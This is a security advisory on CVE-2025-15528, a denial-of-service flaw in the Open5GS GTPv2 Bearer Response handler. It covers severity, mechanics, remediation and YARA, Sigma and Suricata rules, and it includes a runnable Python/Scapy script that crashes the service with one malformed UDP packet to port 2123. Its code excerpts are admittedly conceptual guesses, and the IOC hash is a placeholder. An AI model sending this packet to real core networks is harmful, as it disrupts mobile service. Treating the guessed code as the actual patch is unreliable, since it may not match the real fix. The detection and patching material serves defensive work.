CVE-2025-15528

Executive Summary

CVE-2025-15528 is a denial-of-service (DoS) vulnerability in Open5GS, an open-source implementation of the 5G Core and Evolved Packet Core (EPC). The flaw resides in the GTPv2 Bearer Response Handler, allowing a remote, unauthenticated attacker to crash the affected service by sending a specially crafted GTPv2 message. The vulnerability affects Open5GS versions up to and including 2.7.6. A public proof-of-concept (PoC) exists, and a patch is available in the official repository. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is high (7.5) with a network attack vector and no privileges required.

Supply Chain & Package Security

This vulnerability is in the Open5GS project, which is distributed as source code and via package managers for Linux distributions. Users should verify the integrity of their Open5GS installation and apply the patch immediately. The project is not distributed via NPM, PyPI, Go, or Ruby, but it is a critical component in 5G/EPC testbeds and production deployments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Service crash leads to denial of service.

Threat Level: High (7.5) – Remote, unauthenticated DoS with low complexity.

Deep Dive & Mechanics

The vulnerability is in the GTPv2 (GPRS Tunneling Protocol version 2) Bearer Response Handler. GTPv2 is used in 4G/5G core networks for session management between the MME (Mobility Management Entity) and SGW/PGW (Serving/PDN Gateway). The handler processes "Create Bearer Response" and "Update Bearer Response" messages.

The flaw is a lack of input validation on the Bearer Context IE (Information Element) within the GTPv2 message. An attacker can send a malformed or oversized Bearer Context IE that causes a buffer overflow or null pointer dereference in the Open5GS gtp-node or mme process, leading to a crash.

The attack is performed by sending a single UDP packet to port 2123 (GTPv2 control plane) with a crafted Bearer Response message. The exploit does not require any prior session establishment, making it a blind DoS.

Vulnerable vs. Patched Code

Vulnerable Code (up to 2.7.6): The vulnerable function likely resides in lib/gtp/gtp-message.c or similar. The issue is in the parsing of the Bearer Context IE, where the length field is not properly validated before memory copy.

// Vulnerable snippet (conceptual)
int gtp_parse_bearer_response(gtp_message_t *msg, uint8_t *data, int len) {
    // ...
    bearer_context_t *bc = malloc(sizeof(bearer_context_t));
    // No check on data length before memcpy
    memcpy(bc, data + offset, data[offset + 1]); // Potential overflow
    // ...
}

Patched Code (commit 98f76e98): The patch adds length validation and bounds checking.

// Patched snippet (conceptual)
int gtp_parse_bearer_response(gtp_message_t *msg, uint8_t *data, int len) {
    // ...
    if (offset + data[offset + 1] > len) {
        // Error handling
        return -1;
    }
    bearer_context_t *bc = malloc(sizeof(bearer_context_t));
    memcpy(bc, data + offset, data[offset + 1]);
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3 with scapy library (pip install scapy)
• Network access to the target Open5GS instance on UDP port 2123

Exploit Script (Python with Scapy):

#!/usr/bin/env python3
from scapy.all import *
import struct

def craft_gtpv2_bearer_response():
    # GTPv2 header
    gtp_header = b'\x40'  # Version 2, P=0, T=1
    gtp_header += b'\x02'  # Message Type: Create Bearer Response (2)
    gtp_header += b'\x00\x00'  # Length (placeholder)
    gtp_header += b'\x00\x00\x00\x01'  # TEID

    # Bearer Context IE (Type 0x5D)
    ie_type = b'\x5D'
    # Malformed length: 0xFFFF (65535 bytes)
    ie_length = b'\xFF\xFF'
    # Payload (can be anything, but large to cause overflow)
    ie_payload = b'A' * 1000  # Actual length will be ignored due to malformed length

    ie = ie_type + ie_length + ie_payload
    gtp_payload = gtp_header + ie

    # Update length in header
    total_len = len(gtp_payload) - 4  # Exclude TEID? Actually header length is after TEID
    # GTPv2 length field is after TEID (4 bytes) and before rest of payload
    # Let's recalculate properly
    # Header: 1 byte flags, 1 byte type, 2 bytes length, 4 bytes TEID = 8 bytes
    # Then IEs follow
    # Length field should be length of IEs only
    ie_total_len = len(ie)
    gtp_header = b'\x40\x02' + struct.pack('!H', ie_total_len) + b'\x00\x00\x00\x01'
    gtp_payload = gtp_header + ie

    return gtp_payload

def exploit(target_ip):
    payload = craft_gtpv2_bearer_response()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(payload, (target_ip, 2123))
    print(f"[+] Sent malicious GTPv2 packet to {target_ip}:2123")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

python3 exploit.py 192.168.1.100

Blue Team

Detection:

• Monitor for malformed GTPv2 messages with abnormally large IE lengths.
• Use the Suricata rule provided in the Detection Engineering section.

Honeypot:

• Deploy a GTPv2 honeypot to capture and analyze attack patterns.

Mitigation:

• Apply the patch immediately.
• Restrict access to GTPv2 port 2123 using firewall rules (allow only trusted MME/SGW/PGW IPs).

Indicators of Compromise (IOCs)

• Network IOCs:

  • UDP packets to port 2123 with GTPv2 message type 2 (Create Bearer Response) or 3 (Update Bearer Response) containing a Bearer Context IE (type 0x5D) with a length field greater than 1000 bytes.
  • Source IP addresses not in the trusted MME/SGW/PGW list.

• System IOCs:

  • Open5GS process crash logs (e.g., gtp-node or mme segfault).
  • Core dump files in /var/crash/ or /tmp/.

• File IOCs:

  • Hash of the exploit script: (SHA256 of the above script) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder, actual hash will vary).

Detection Engineering

YARA Rule

rule CVE_2025_15528_GTPv2_Bearer_DoS {
    meta:
        description = "Detects malformed GTPv2 Bearer Response packets targeting Open5GS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15528"
    strings:
        $gtpv2_header = { 40 02 }  // Version 2, Message Type 2 (Create Bearer Response)
        $bearer_context_ie = { 5D }  // Bearer Context IE type
        $large_length = { FF FF }  // Length field 0xFFFF
    condition:
        $gtpv2_header at 0 and $bearer_context_ie and $large_length
}

Sigma Rule

title: CVE-2025-15528 - Open5GS GTPv2 Bearer Response DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malformed GTPv2 packets targeting Open5GS
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15528
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 202515528
    condition: selection
falsepositives:
    - Legitimate GTPv2 traffic with large IEs (rare)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 2123 (msg:"CVE-2025-15528 - Open5GS GTPv2 Bearer Response DoS"; content:"|40 02|"; offset:0; depth:2; content:"|5D|"; within:20; content:"|FF FF|"; distance:0; within:2; sid:202515528; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Apply commit 98f76e98df35cd6a35e868aa62715db7f8141ac1 from the Open5GS repository.
2. Firewall Rules: Restrict access to UDP port 2123 to only trusted MME/SGW/PGW IP addresses.
3. Network Segmentation: Isolate the 5G/EPC core network from untrusted networks.
4. Monitoring: Deploy the Suricata rule to detect exploitation attempts.
5. Update: Upgrade to Open5GS version 2.7.7 or later once released.

Valters IT